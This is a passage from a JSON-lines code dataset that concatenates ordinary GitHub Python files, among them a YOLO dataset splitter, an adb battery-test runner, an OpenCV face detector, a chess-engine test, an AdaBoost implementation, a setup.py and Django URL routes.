petal_lengths)\n","repo_name":"Bao-Nghiem-Ly/Indoc-Coding-Challenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74839428955","text":"import shutil\nimport os\nimport glob\nimport random\nimport yolov4_config as cfg\nimport get_time_util\nimport data_stream_status_machine\n\n# train_dst_folder='/home/chenp/YOLOv4-pytorch/qixing-data/train'\n# test_dst_folder='/home/chenp/YOLOv4-pytorch/qixing-data/test'\n# new_dataset_folder='/home/chenp/YOLOv4-pytorch/qixing1214'\n\n# train_dst_folder='/home/chenp/Yolov5_tf/data/dataset/train'\n# test_dst_folder='/home/chenp/Yolov5_tf/data/dataset/test'\n# new_dataset_folder='/home/chenp/Yolov5_tf/data/dataset/data-0124'\n\ntrain_dst_folder='/test-pipline/train'\ntest_dst_folder='/test-pipline/test'\nnew_dataset_folder='/test-pipline/data'\n\nbad_data_dst_folder='/test-pipline/bad_data'\n\ndef add_new_data(new_dataset_folder,\n train_dst_folder, test_dst_folder,\n test_set_proportion=0.2):\n # class_name_list = ['zhibeidangao', 'qifeng', 'tusi', 'quqi', 'zaocanbao', 'dangaojuan',\n # 'danta', 'jichi', 'jichigen', 'jixiongrou', 'jimihua', 'manyuemeibinggan',\n # 'peigen', 'niupai', 'shutiao', 'oubao']\n # print('Please Confirm class_name_list: ', class_name_list)\n # input()\n\n class_name_list = cfg.Customer_DATA[\"CLASSES\"]\n print('Please Confirm class_name_list: ', class_name_list)\n input()\n \n add_folder_num = 0\n add_test_data_num = 0\n add_train_data_num = 0\n\n if not os.path.exists(test_dst_folder):\n print('test_dst_folder does not exist: ', test_dst_folder)\n input()\n return False, add_train_data_num, add_test_data_num\n if not os.path.exists(train_dst_folder):\n print('train_dst_folder does not exist: ', train_dst_folder)\n input()\n return False, add_train_data_num, add_test_data_num\n \n if not os.path.exists(bad_data_dst_folder):\n print('bad_data_dst_folder does not exist: ', bad_data_dst_folder)\n os.makedirs(bad_data_dst_folder)\n \n data_folder_list = os.listdir(new_dataset_folder)\n for root_sub_file in data_folder_list:\n folder_path = new_dataset_folder + '/' + root_sub_file\n if not os.path.isdir(folder_path):\n continue\n\n print('*****************************************move target folder: ', folder_path)\n class_name = root_sub_file.split('-')[0]\n if class_name not in class_name_list:\n print('class_name not in class_name_list: ', class_name)\n input()\n \n data_path_list = []\n bad_data_path_list = []\n file_list = os.listdir(folder_path)\n for file_idx, file_path in enumerate(file_list):\n filename, file_type = os.path.splitext(folder_path + '/' + file_path)\n if file_type == '.json':\n if os.path.exists(filename + '.jpg'):\n img_path = filename + '.jpg'\n data_path_list.append(\n {folder_path + '/' + file_path : img_path}\n )\n else:\n bad_data_path_list.append(folder_path + '/' + file_path)\n elif file_type != '.json' and file_type != '.jpg':\n bad_data_path_list.append(folder_path + '/' + file_path)\n elif file_type == '.jpg':\n if not os.path.exists(filename + '.json'):\n bad_data_path_list.append(folder_path + '/' + file_path)\n for bad_data in bad_data_path_list:\n print('Move bad data: ', bad_data, ' To: ', bad_data_dst_folder)\n shutil.move(bad_data, bad_data_dst_folder)\n \n test_set_size = int(test_set_proportion * len(data_path_list) + 0.5)\n testdata_path_list = random.sample(data_path_list, test_set_size)\n print(testdata_path_list)\n print('test data num: ', len(testdata_path_list), test_set_size, len(data_path_list))\n print('press enter to continue...')\n input()\n dst_class_folder = test_dst_folder + '/' + class_name\n if not os.path.exists(dst_class_folder):\n print('dst_class_folder not exist: ', dst_class_folder)\n print('press enter to mkdir it. ')\n input()\n os.mkdir(dst_class_folder)\n sub_dst_folder = dst_class_folder + '/' + root_sub_file\n if not os.path.exists(sub_dst_folder):\n os.mkdir(sub_dst_folder)\n\n #move to test_dst_folder:\n for test_data in testdata_path_list:\n json_path = list(test_data.keys())[0]\n print('Move: ', json_path, ' To: ', sub_dst_folder)\n shutil.move(json_path, sub_dst_folder)\n print('Move: ', test_data[json_path], ' To: ', sub_dst_folder)\n shutil.move(test_data[json_path], sub_dst_folder)\n\n add_test_data_num += len(testdata_path_list)\n add_train_data_num += (len(data_path_list) - len(testdata_path_list))\n\n dst_class_folder = train_dst_folder + '/' + class_name\n if not os.path.exists(dst_class_folder):\n print('dst_class_folder not exist: ', dst_class_folder)\n print('press enter to mkdir it. ')\n input()\n os.mkdir(dst_class_folder)\n\n #move to train_dst_folder:\n print('Move: ', folder_path, ' To: ', dst_class_folder)\n shutil.move(folder_path, dst_class_folder)\n\n add_folder_num += 1\n print('Totally move ', add_folder_num, ' new folders, ', add_train_data_num + add_test_data_num, ' imgs.\\n')\n print('Add_train_data_num: ', add_train_data_num)\n print('Add_test_data_num: ', add_test_data_num)\n return True, add_train_data_num, add_test_data_num\n\n\nlast_data_stream_status = '10'\ncurrent_data_stream_status = '0'\ncurrent_note_log = 'split dataset to train test.'\nif not data_stream_status_machine.start_check(last_data_stream_status):\n exit(1)\n\nstart_time = get_time_util.get_last_time()\n\nprint('Start spliting dataset...')\nif add_new_data(new_dataset_folder=new_dataset_folder,\n train_dst_folder=train_dst_folder, test_dst_folder=test_dst_folder,\n test_set_proportion=0.2):\n print('add success...')\nelse:\n print('add failed...')\n input()\nprint('Spliting dataset done...')\n\nend_time = get_time_util.get_last_time()\ndata_stream_status_machine.end_check(data_stream_status=current_data_stream_status,\n note_log=current_note_log,\n start_time=start_time, end_time=end_time)\n","repo_name":"chenpengf0223/Yolov5_tf","sub_path":"split_dataset_into_train_test.py","file_name":"split_dataset_into_train_test.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71388105434","text":"import json\nimport os\n\nimport pandas as pd\nfrom chemicals import *\n\nfile_name = 'je7b00967_si_001.xlsx'\ndf2 = pd.read_excel(file_name)\n\nfolder = os.path.join(os.path.dirname(__file__), '..', 'thermo', 'Scalar Parameters')\n\nwebbook_metadata = pd.read_csv('webbook_metadata.tsv', index_col=0, sep='\\t')\nwebbook_inchikey_to_CAS = {k: v for k, v in zip(webbook_metadata['InChI_key'], webbook_metadata.index)}\nwebbook_inchi_to_CAS = {k: v for k, v in zip(webbook_metadata['InChI'], webbook_metadata.index)}\n#print(webbook_inchi_to_CAS)\n\narticle_source = \"Consistent Twu Parameters for More than 2500 Pure Fluids from Critically Evaluated Experimental Data\"\nPR_Twu_metadata = {\n \"metadata\": {\n \"source\": article_source,\n \"necessary keys\": [\n \"TwuPRL\", \"TwuPRM\", \"TwuPRN\", \"TwuPRc\",\n ],\n \"missing\": {\n \"TwuPRL\": None, \"TwuPRM\": None, \"TwuPRN\": None, \"TwuPRc\": 0.0,\n }\n }\n}\n\n\nPRLs = df2['c0'].values.tolist()\nPRMs = df2['c1'].values.tolist()\nPRNs = df2['c2'].values.tolist()\ninchis = df2['inchi'].values.tolist()\ninchikeys = df2['inchikey'].values.tolist()\nnames = df2['name'].values.tolist()\nformulas = df2['formula'].values.tolist()\n\nCASs = []\nfor i in range(len(inchikeys)):\n CAS = None\n try:\n try:\n # Prefer close NIST data\n try:\n CAS = webbook_inchikey_to_CAS[inchikeys[i]]\n except:\n # Doesn't seem to find any others\n CAS = webbook_inchi_to_CAS[inchis[i]]\n except:\n # Try to locate it in Chemicals\n CAS = CAS_from_any('InChIKey=%s'%(inchikeys[i]))\n except:\n pass\n #print(names[i], formulas[i], inchikeys[i], inchis[i])\n CASs.append(CAS)\n#print(CASs)\n\n\ndata = {}\nfor CAS, L, M, N in zip(CASs, PRLs, PRMs, PRNs):\n if CAS is not None:\n data[CAS] = {\"name\": CAS, \"TwuPRL\": L, \"TwuPRM\": M, \"TwuPRN\": N}\nPR_Twu_metadata['data'] = data\n\nf = open(os.path.join(folder, 'PRTwu_ibell_2018.json'), 'w')\nf.write(json.dumps(PR_Twu_metadata, sort_keys=True, indent=2))\nf.close()\n","repo_name":"CalebBell/thermo","sub_path":"dev/dump_twu_Ian_Bell_2018.py","file_name":"dump_twu_Ian_Bell_2018.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":520,"dataset":"github-code","pt":"50"} +{"seq_id":"73756303194","text":"#CodingBat - Python\r\n\r\n#close_far\r\n\r\n#Given three ints, a b c, return True if one of b or c is \"close\" (differing \r\n#from a by at most 1), while the other is \"far\", differing from both other\r\n#values by 2 or more. Note: abs(num) computes the absolute value of a number.\r\n\r\n\r\n# close_far(1, 2, 10) → True\r\n# close_far(1, 2, 3) → False\r\n# close_far(4, 1, 3) → True\r\n\r\n\r\ndef close_far(a, b, c):\r\n \r\n b_close = abs(a-b) < 2\r\n c_close = abs(a-c) < 2\r\n b_far = abs(a-b) > 1 and abs(c-b) > 1\r\n c_far = abs(a-c) > 1 and abs(b-c) > 1\r\n \r\n return b_close and c_far or b_far and c_close\r\n\r\n#To check:\r\n#print(close_far(1, 2, 10))\r\n#print(close_far(1, 2, 3))\r\n#print(close_far(4, 1, 3))\r\n","repo_name":"ArshiaRx/CodingBat---Python","sub_path":"Logic-2/close_far.py","file_name":"close_far.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"70317946714","text":"import argparse\nimport time\nimport helper.adb as adb\n\navailable_apps = [\n {\n \"name\": \"chrome\",\n \"implicit\": True,\n \"data\": \"https://contactapp.stefanhuber.at\"\n },\n {\n \"name\": \"native\",\n \"implicit\": False,\n \"pkg\": \"at.stefanhuber.contactappnative\",\n \"activity\": \"MainActivity\"\n },\n {\n \"name\": \"react\",\n \"implicit\": False,\n \"pkg\": \"com.contactappreactnative\",\n \"activity\": \"MainActivity\"\n },\n {\n \"name\": \"capacitor\",\n \"implicit\": False,\n \"pkg\": \"at.stefanhuber.contactappcapacitor\",\n \"activity\": \"MainActivity\"\n },\n {\n \"name\": \"flutter\",\n \"implicit\": False,\n \"pkg\": \"com.thomasdorfer.contactappflutter\",\n \"activity\": \"MainActivity\"\n }\n]\napps = []\n\nparser = argparse.ArgumentParser(description='Android Battery Test')\nparser.add_argument('-i', '--ip', type=str, help='IP-Address of adb-connected Android device', default=\"\")\nparser.add_argument('-p', '--port', type=str, help='Port of adb-connected Android device', default=\"7777\")\nparser.add_argument('-n', '--count', type=int, help='Number of executions of a test per app', default=1)\nparser.add_argument('-a', '--apps', type=str, help='Comma separated list of apps to execute', default='chrome,native,capacitor,react,flutter')\nparser.add_argument('-s', '--start', type=int, help='Start index of test', default=1)\n\nargs = parser.parse_args()\ndevice = adb.get_connected_device(args.ip, args.port)\ncount = args.count\napp_names = args.apps.split(\",\")\nstart = args.start\n\nfor app_name in app_names:\n for app in available_apps:\n if app_name == app[\"name\"]:\n apps.append(app)\n break\n\n# interaction: interaction class name, energy metering True/False\n\ninteractions = [\n [\"OpenCloseDrawerInteractionTest\", True],\n [\"ScrollDownListInteractionTest\", True],\n [\"ScrollUpListInteractionTest\", True],\n [\"SwitchScreensInteractionTest\", True],\n [\"TopRightMenuInteractionTest\", False],\n [\"EnterFormDataInteractionTest\", True],\n [\"BackMenuInteractionTest\", False],\n]\n\nfor n in range(start, start + count):\n print(\"start run: {} of {}\".format(n, (start + count - 1)))\n\n for app in apps:\n adb.kill_all()\n\n if app[\"implicit\"]:\n adb.start_app_implicit(app[\"data\"])\n else:\n adb.start_app(app[\"pkg\"], app[\"activity\"])\n\n time.sleep(15)\n\n for interaction in interactions:\n\n if interaction[1]:\n adb.clear_batterystats()\n\n adb.start_instrumentation(\"at.stefanhuber.instrumentation\", interaction[0])\n\n if interaction[1]:\n adb.dump_batterystats()\n adb.pull_data(\"/data/local/tmp/battery.txt\", \"./data/battery_{}_{}_{}_{}.txt\".format(device, app[\"name\"], interaction[0], n))\n\n adb.start_instrumentation(\"at.stefanhuber.instrumentation\", \"CloseAllAppsInteractionTest\")","repo_name":"stefanhuber/ICWE-2021","sub_path":"start_battery_test.py","file_name":"start_battery_test.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"27365656325","text":"import cv2 as cv\n\n# Including require Data\nface_cascade = cv.CascadeClassifier('Data/haarcascade_frontalface_default.xml')\nsmile_cascade = cv.CascadeClassifier('Data/haarcascade_smile.xml')\neye_cascade = cv.CascadeClassifier('Data/haarcascade_eye_tree_eyeglasses.xml')\n\n# Initializing the cap variable\ncap = cv.VideoCapture(0)\n\n# Smile Detect Function\ndef smile_detect(img_frame, img_gray, x_coo, y_coo, wid, hei):\n smile_gray = img_gray[y_coo:y_coo + hei, x_coo:x_coo + wid]\n smile_color = img_frame[y_coo:y_coo + hei, x_coo:x_coo + wid]\n smiles = smile_cascade.detectMultiScale(smile_gray, 3, 5)\n for (sx, sy, sw, sh) in smiles:\n cv.rectangle(smile_color, (sx, sy), (sx + sw, sy + sh), (0, 0, 255), 5)\n cv.putText(frame, \"Smile Detected\", (20, 25), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 3)\n\n# Eye Detect Function\ndef eye_detect(img_frame, img_gray, x_coo, y_coo, wid, hei):\n eye_gray = img_gray[y_coo:y_coo + hei, x_coo:x_coo + wid]\n eye_color = img_frame[y_coo:y_coo + hei, x_coo:x_coo + wid]\n eyes = eye_cascade.detectMultiScale(eye_gray)\n for (ex, ey, ew, eh) in eyes:\n cv.rectangle(eye_color, (ex, ey), (ex + ew, ey + eh), (0, 255, 0), 2)\n cv.putText(frame, \"Eyes Detected\", (20, 55), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)\nwhile cap.isOpened():\n # for reading the web camera\n _, frame = cap.read()\n # for text\n cv.putText(frame, \"Press 'q' to EXIT\", (350, 35), cv.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 3)\n # converting color to gray image\n gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n # for detecting face\n faces = face_cascade.detectMultiScale(frame, 1.3, 4)\n for (x, y, w, h) in faces:\n # for drawing the rectangle around the face\n cv.rectangle(frame, (x, y), (x+w, y+h), (255, 0, 0), 3)\n cv.putText(frame, \"Face Detected\", (20, 85), cv.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 3)\n # for smile detection\n smile_detect(frame, gray, x, y, w, h)\n # for eye detection\n eye_detect(frame, gray, x, y, w, h)\n # for showing the result\n cv.imshow('Frame', frame)\n # To break the loop\n if cv.waitKey(1) & 0xFF == ord('q'):\n break\n# releasing and destroying the created window\ncap.release()\ncv.destroyAllWindows()","repo_name":"SohelRaja/Realtime-Face-Eye-Smile-Detector","sub_path":"face_eye_smile_detector.py","file_name":"face_eye_smile_detector.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72744051996","text":"from typing import Callable, TextIO, List\n\nimport pytest\n\nimport os, os.path\nfrom PyQt6 import QtCore\n\nimport MzChess\nimport chess\n\ndef runUciEngine(executable : str, fenList : List[str]) -> None:\n print('runUciEngine: {}\\n fenList = {}'.format(executable, fenList))\n def waitForData(engine):\n for i in range(100):\n QtCore.QThread.msleep(engine.timeout_msec)\n QtCore.QCoreApplication.processEvents()\n if engine.isReady():\n return\n print('----> waiting {} * {} ms'.format(i, engine.timeout_msec))\n\n def printPlayResult(engine):\n playResult = engine.playResult\n rootBoard = chess.Board(engine.board.fen())\n print('{} : {}'.format('best move', playResult.move))\n if playResult.ponder is not None:\n print('{} : {}'.format('expected response', playResult.ponder))\n if isinstance(playResult.info, dict):\n infoList = [playResult.info]\n else:\n infoList = playResult.info\n for i, infoDict in enumerate(infoList):\n print('info #{}'.format(i+1))\n for key, value in infoDict.items(): \n if key == 'pv':\n pvString = ''\n for n, moveList in enumerate(value):\n if not isinstance(moveList, list):\n moveList = [moveList]\n for move in moveList: \n rootBoard.push(move)\n uciMove = move.uci()\n if rootBoard.is_checkmate():\n uciMove += '#'\n elif rootBoard.is_check():\n uciMove += '+'\n if engine.board.turn:\n if n == 0:\n pvString += '1.{}'.format(uciMove)\n elif n % 2 == 0:\n pvString += ' {}.{}'.format(n//2+1, uciMove)\n else:\n pvString += ' {}'.format(uciMove)\n else:\n if n == 0:\n pvString += '1...{}'.format(uciMove)\n elif n % 2 == 1:\n pvString += ' {}.{}'.format((n+1)//2+1, uciMove)\n else:\n pvString += ' {}'.format(uciMove)\n print('{} : {}'.format(key, pvString))\n elif value is not None: \n print('{} : {}'.format(key, value))\n \n # =====================================================================\n\n engine = MzChess.ChessEngine((executable, dict()) , limit = chess.engine.Limit(depth = 15), log = print)\n waitForData(engine)\n for item in sorted(engine.idDict):\n print(' {} : {}'.format(item, engine.idDict[item]))\n print('Options:')\n for opt in sorted(engine.optionsDict):\n print(' {} : {}'.format(opt, engine.optionsDict[opt]))\n for fen in fenList:\n engine.uciNewGame(fen = fen)\n print('------------------------- startPlay -------------------------')\n engine.startPlay()\n waitForData(engine)\n printPlayResult(engine)\n print('----------------------- startAnalysis -----------------------')\n engine.startAnalysis(multiPV = 1)\n waitForData(engine)\n printPlayResult(engine)\n engine.kill()\n pytest.helpers.exitApp()\n\ndef test_uciEngine(qtbot, pytestconfig):\n fen = pytestconfig.getoption(\"--FEN\")\n if fen is not None:\n fenList = [fen]\n else:\n fenList = [\n \"3rr3/2p3p1/4N3/3b4/1p3P2/2PBB3/kPQ3PP/3R2K1 w - - 0 1\", \n \"rn3r1k/pp4pp/2p1Q2N/q2np3/4N2P/2PP4/PP3P2/R3K2R w KQ - 0 1\", \n \"r2rkn2/1R1N2p1/2p1B2p/4p1PP/p1P2b2/5P2/P3K3/1R6 w - - 0 1\", \n \"2r4k/p2R4/1p2P3/5p2/3PbbpP/BP6/P1r5/4Q1K1 b - - 0 1\"\n ]\n uciEngine = pytestconfig.getoption(\"--uciEngine\")\n if uciEngine is None:\n pytest.skip('uciEngine not specified')\n return\n if not os.path.isabs(uciEngine): \n home = pytestconfig.getoption(\"--home\")\n uciEngine = os.path.join(home, uciEngine) \n if not os.path.exists(uciEngine):\n raise IOError('Engine {} not found'.format(uciEngine))\n return\n runUciEngine(uciEngine, fenList)\n return\n\n","repo_name":"ReinhardM-dev/MzChess","sub_path":"test/test_uciEngine.py","file_name":"test_uciEngine.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"1571472363","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.tree import DecisionTreeClassifier\nfrom random_forests import get_data\n\nclass AdaBoost:\n def __init__(self, M):\n self.M = M\n\n def fit(self, X, Y):\n self.models = []\n self.alphas = []\n\n N, _ = X.shape\n W = np.ones(N) / N\n\n for m in range(self.M):\n tree = DecisionTreeClassifier(max_depth=1)\n tree.fit(X, Y, sample_weight=W)\n P = tree.predict(X)\n\n err = W.dot(P != Y)\n alpha = 0.5*(np.log(1 - err) - np.log(err))\n\n W = W*np.exp(-alpha*Y*P)\n W = W / W.sum() # Normalizing so it sums to 1\n\n self.models.append(tree)\n self.alphas.append(alpha)\n\n def predict(self, X):\n # Return both accuracy and exponential loss for plotting purposes\n N, _ = X.shape\n FX = np.zeros(N)\n for alpha, tree in zip(self.alphas, self.models):\n FX += alpha*tree.predict(X)\n return np.sign(FX), FX\n\n def score(self, X, Y):\n # Return both accuracy and exponential loss for plotting purposes\n P, FX = self.predict(X)\n L = np.exp(-Y*FX).mean()\n return np.mean(P == Y), L\n\nif __name__ == '__main__':\n X, Y = get_data()\n Y[Y == 0] = -1 # Change the targets to -1, +1\n Ntrain = int(0.8 * len(X))\n Xtrain, Ytrain = X[:Ntrain], Y[:Ntrain]\n Xtest, Ytest = X[Ntrain:], Y[Ntrain:]\n\n T = 200\n train_errors = np.empty(T)\n test_losses = np.empty(T)\n test_errors = np.empty(T)\n for num_trees in range(T):\n if num_trees == 0:\n train_errors[num_trees] = None\n test_errors[num_trees] = None\n test_losses[num_trees] = None\n continue\n\n model = AdaBoost(num_trees)\n model.fit(Xtrain, Ytrain)\n test_acc, test_loss = model.score(Xtest, Ytest)\n train_acc, _ = model.score(Xtrain, Ytrain)\n train_errors[num_trees] = 1 - train_acc\n test_errors[num_trees] = 1 - test_acc\n test_losses[num_trees] = test_loss\n\n # For this data set, test and train errors zeroed out at a size of 100 stumps\n # Final test loss ~0.00116\n if num_trees % 20 == 0 or num_trees == T-1:\n print(\"Ensemble size: \", num_trees)\n print(\"Train error: \", 1 - train_acc)\n print(\"Test error: \", 1 - test_acc)\n print(\"Test Loss: \", test_loss)\n\n # Confirm that loss continues to decrease or the loss function continues to be optimized,\n # even after the test errors have converged.\n plt.plot(test_errors, label='Test Errors')\n plt.plot(test_losses, label='Test Losses')\n plt.legend()\n plt.show()\n\n # Confirm that test errors do NOT increase when we keep increasing the size of the ensemble\n # past train convergence. This is an advantage over random forests and neural nets.\n plt.plot(train_errors, label='Train Errors')\n plt.plot(test_errors, label='Test Errors')\n plt.legend()\n plt.show()\n","repo_name":"g4mp3a/sink","sub_path":"python/tutorials/ensemble_methods/boosting/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"28831219436","text":"from whoiswho.utils import load_json, save_json\n\ndef evaluate(predict_result,ground_truth):\n if isinstance(predict_result, str):\n predict_result=load_json(predict_result)\n if isinstance(ground_truth, str):\n ground_truth=load_json(ground_truth)\n\n submit_data=predict_result\n result_list = []\n total_paper = 0\n\n for name, authors in ground_truth.items():\n for a_id, papers in authors.items():\n predict_paper = set(submit_data.get(a_id, []))\n gt_papers = set(papers)\n\n inter_len = len(gt_papers & predict_paper)\n\n precision = round(inter_len / max(len(predict_paper), 1), 6)\n recall = round(inter_len / max(len(gt_papers), 1), 6)\n\n f1 = round(2 * precision * recall / max(precision + recall, 1))\n\n result_list.append((precision, recall, f1, len(gt_papers)))\n total_paper += len(gt_papers)\n\n # calculate weighted-f1\n weighted_precision = 0\n weighted_recall = 0\n weighted_f1 = 0\n for instance in result_list:\n pre = instance[0]\n rec = instance[1]\n f1 = instance[2]\n weight = round(instance[3] / total_paper, 6)\n\n weighted_precision += pre * weight\n weighted_recall += rec * weight\n\n if (weighted_precision + weighted_recall) > 0:\n weighted_f1 = 2 * weighted_precision * weighted_recall / (weighted_precision + weighted_recall)\n\n print(\"f1: {} weighted precision: {} recall: {} \".format( weighted_f1,weighted_precision, weighted_recall))\n return weighted_f1\n\nif __name__ == '__main__':\n predict_result = load_json('Input the path of result.valid.json')\n\n ground_truth = load_json('Input the path of cna_valid_ground_truth.json')\n evaluate(predict_result,ground_truth)\n","repo_name":"THUDM/WhoIsWho","sub_path":"whoiswho/evaluation/RNDeval.py","file_name":"RNDeval.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"50"} +{"seq_id":"18352262640","text":"import serial\r\nimport time\r\nimport cv2\r\n\r\n# Print iterations progress\r\ndef printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 1, length = 100, fill = '█', printEnd = \"\\r\"):\r\n \"\"\"\r\n Call in a loop to create terminal progress bar\r\n @params:\r\n iteration - Required : current iteration (Int)\r\n total - Required : total iterations (Int)\r\n prefix - Optional : prefix string (Str)\r\n suffix - Optional : suffix string (Str)\r\n decimals - Optional : positive number of decimals in percent complete (Int)\r\n length - Optional : character length of bar (Int)\r\n fill - Optional : bar fill character (Str)\r\n printEnd - Optional : end character (e.g. \"\\r\", \"\\r\\n\") (Str)\r\n \"\"\"\r\n percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\r\n filledLength = int(length * iteration // total)\r\n bar = fill * filledLength + '-' * (length - filledLength)\r\n print(f'\\r{prefix} |{bar}| {percent}% {suffix}', end = printEnd)\r\n # Print New Line on Complete\r\n if iteration == total: \r\n print()\r\n \r\n\r\ndef check_for_return_value(cap, arduino, value, verbose, debug):\r\n animation = \"|/-\\\\\"\r\n \r\n for i in range(100):\r\n\r\n ret, frame = cap.read()\r\n cv2.imshow('shapes', frame)\r\n cv2.waitKey(1)\r\n\r\n print(animation[i % len(animation)], end=\"\\r\")\r\n\r\n data = str(arduino.readline())\r\n data = data.replace(\"b\", \"\")\r\n data = data.replace(\"'\", \"\")\r\n if debug:\r\n print(\"value = \" + str(value) + \", data = \" + str(data))\r\n if data == value:\r\n return True\r\n #time.sleep(0.2)\r\n \r\n return False\r\n\r\ndef send_package(cap, arduino, data, verbose, debug):\r\n if verbose:\r\n print(\"Sending \" + data)\r\n arduino.write(bytes(data, 'utf-8'))\r\n if check_for_return_value(cap, arduino, data, verbose, debug):\r\n if verbose:\r\n print(\"Data sent and received successfully\")\r\n return True\r\n else:\r\n if verbose:\r\n print(\"Data sending failed\")\r\n return False\r\n\r\ndef initialize_communication(cap, arduino, verbose, debug):\r\n print(\"Establishing serial communication...\")\r\n time.sleep(2)\r\n for i in range(5):\r\n if (send_package(cap, arduino, \"99999\", verbose, debug)):\r\n print(\"Serial communication established\")\r\n return True\r\n print(\"Serial communication failed\")\r\n return False","repo_name":"erik-brusewitz/TIF160_project","sub_path":"Robot_Control/serialCommunication.py","file_name":"serialCommunication.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"2863952718","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\n#實作cosine similarity\n#在比較兩個詞向量的相似度時可以使用cosine similarity\n#請實作cosine similarity並計算共現矩陣課程範例中you向量([0,1,0,0,0,0,0])與I([0,1,0,1,0,0,0])向量的相似度\nimport numpy as np\nI = np.array([0,1,0,0,0,0,0])\nYou = np.array([0,1,0,1,0,0,0])\n\ndef cos_similarity(x, y, eps=1e-8):\n nx = x / np.sqrt(np.sum(x**2) + eps)\n ny = y / np.sqrt(np.sum(y**2) + eps)\n return np.dot(nx, ny)\n\nprint(f\"Similarity: {cos_similarity(I, You)}\")\n\n","repo_name":"lee870105/NLP-Day01-HW--String-operation","sub_path":"homework/NLP DAY16 HW.py","file_name":"NLP DAY16 HW.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32642475992","text":"import os\nimport sys\n\nfrom codecs import open\n\nfrom setuptools import setup\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n# package information\nabout = {}\nwith open(os.path.join(here, \"poodle\", \"__version__.py\"), \"r\", \"utf-8\") as f:\n exec(f.read(), about)\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n# build shortcut.\nif sys.argv[-1] == \"build\":\n os.system(\"python setup.py bdist_wheel sdist\")\n sys.exit()\n\n\npackages = [\"poodle\"]\n\nrequires = [\n \"aiohttp>=3.7.4\",\n \"asyncpg>=0.21.0\",\n \"colorama>=0.4.4\",\n \"convertapi>=1.4.0\",\n \"cryptography>=3.4.8\",\n \"psycopg2-binary>=2.9.1\",\n \"requests>=2.26.0\",\n]\n\ntest_requirements = [\n \"pytest>=6\",\n \"pytest-cov>=2.12.1\",\n \"coveralls>=3.2.0\",\n]\n\nsetup(\n name=about[\"__title__\"],\n version=about[\"__version__\"],\n description=about[\"__description__\"],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=about[\"__author__\"],\n author_email=about[\"__author_email__\"],\n url=about[\"__url__\"],\n packages=packages,\n # package_data={\"\": [\"LICENSE\", \"NOTICE\"]},\n package_dir={\"poodle\": \"poodle\"},\n include_package_data=True,\n python_requires=\">=3.7.*\",\n install_requires=requires,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Operating System :: OS Independent\",\n ],\n tests_require=test_requirements,\n extras_require={\"dev\": test_requirements},\n project_urls={\n \"Documentation\": about[\"__url__\"],\n \"Source\": about[\"__source__\"],\n },\n)\n","repo_name":"danielkauffmann/poodle","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"1670590712","text":"# -*- coding: utf-8 -*-\nfrom django.urls import path\n\nfrom seecode.apps.scan.views import task\nfrom seecode.apps.scan.views import issue\nfrom seecode.apps.scan.views import group\nfrom seecode.apps.scan.views import scan_template\nfrom seecode.apps.scan.views import scan_template_item\n\nurlpatterns = [\n\n # settings\n path(r'group/', group.index),\n path(r'group//', group.show),\n path(r'group/search/', group.search),\n path(r'group/batch/', group.batch),\n\n path(r'task/', task.index),\n path(r'task//', task.show),\n path(r'log//', task.download_log),\n path(r'task/batch/', task.batch),\n path(r'/issue/', issue.index),\n path(r'issue/', issue.index),\n path(r'issue//', issue.show),\n\n # scan template\n path(r'template/', scan_template.index),\n path(r'template//', scan_template.show),\n path(r'template/tactic/', scan_template.tactic),\n \n # scan template items\n path(r'template//tactics/', scan_template_item.index),\n\n]\n","repo_name":"p0p0p0/seecode-audit","sub_path":"seecode/apps/scan/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"5168470420","text":"from selenium.webdriver import Chrome\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nimport time\nimport 